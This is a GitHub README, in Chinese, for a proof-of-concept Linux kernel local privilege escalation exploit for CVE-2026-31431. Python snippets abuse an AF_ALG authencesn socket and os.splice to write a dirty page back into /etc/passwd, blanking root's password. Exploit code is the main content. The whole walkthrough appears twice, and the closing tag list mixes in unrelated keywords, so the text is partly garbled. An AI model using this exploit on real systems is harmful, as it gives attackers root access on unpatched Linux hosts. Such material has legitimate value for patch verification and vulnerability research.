yuspring/cve-2026-31431-poc
GitHub: yuspring/cve-2026-31431-poc
针对 Linux 内核 CVE-2026-31431 的本地提权 PoC,利用 authencesn 长度校验缺陷通过脏页写回篡改 /etc/passwd 获取 root 权限。
Stars: 1 | Forks: 0
# CVE 2026-31431 POC
此漏洞利用 Linux 中的 authencesn 长度校验功能出错,导致 dirty page 被写回至用户无权限的位置,从而造成权限提升。
主要参考此仓库的攻击原理,部分 payload 已作修改。
https://github.com/rootsecdev/cve_2026_31431
此圖是6.12.85 linux kernel的修正補丁,未來再trace code這些patch
## 实现过程
1. 开启并修改 RAM 中的 /etc/passwd
```
# 获取 /etc/passwd 文件信息
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
```
目标是将 /etc/passwd 中的 root 密码更改为无密码(不经过 /etc/shadow 验证)
```
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
```
2. 连接 socket 并构造 payload
```
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# 构建 key payload
# 结构: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# 设置 key 并接受 socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# 发送 payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
```
3. 通过 socket 发送 payload,导致 dirty page 被写回至文件中
```
# Splice 连接
# Page Cache(漏洞利用 payload) -> socket(AF_ALG) -> Data(写回) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass
```
# 参考
https://xint.io/blog/copy-fail-linux-distributions
此圖是6.12.85 linux kernel的修正補丁,未來再trace code這些patch
## 实现过程
1. 开启并修改 RAM 中的 /etc/passwd
```
# 获取 /etc/passwd 文件信息
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
```
目标是将 /etc/passwd 中的 root 密码更改为无密码(不经过 /etc/shadow 验证)
```
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
```
2. 连接 socket 并构造 payload
```
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# 构建 key payload
# 结构: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# 设置 key 并接受 socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# 发送 payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
```
3. 通过 socket 发送 payload,导致 dirty page 被写回至文件中
```
# Splice 连接
# Page Cache(漏洞利用 payload) -> socket(AF_ALG) -> Data(写回) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass
```
# 参考
https://xint.io/blog/copy-fail-linux-distributions标签:0day挖掘, AF_ALG, CSV导出, CVE-2026-31431, Dirty Page, etc/passwd, Exploit, Linux内核漏洞, POC, Python, socket, Web报告查看器, Write Back, 内存损坏, 内核安全, 协议分析, 安全渗透, 密码学, 手动系统调用, 数据展示, 无后门, 本地提权, 权限提升, 系统攻击, 红队, 缓冲区溢出, 网络安全, 逆向工具, 隐私保护, 零日漏洞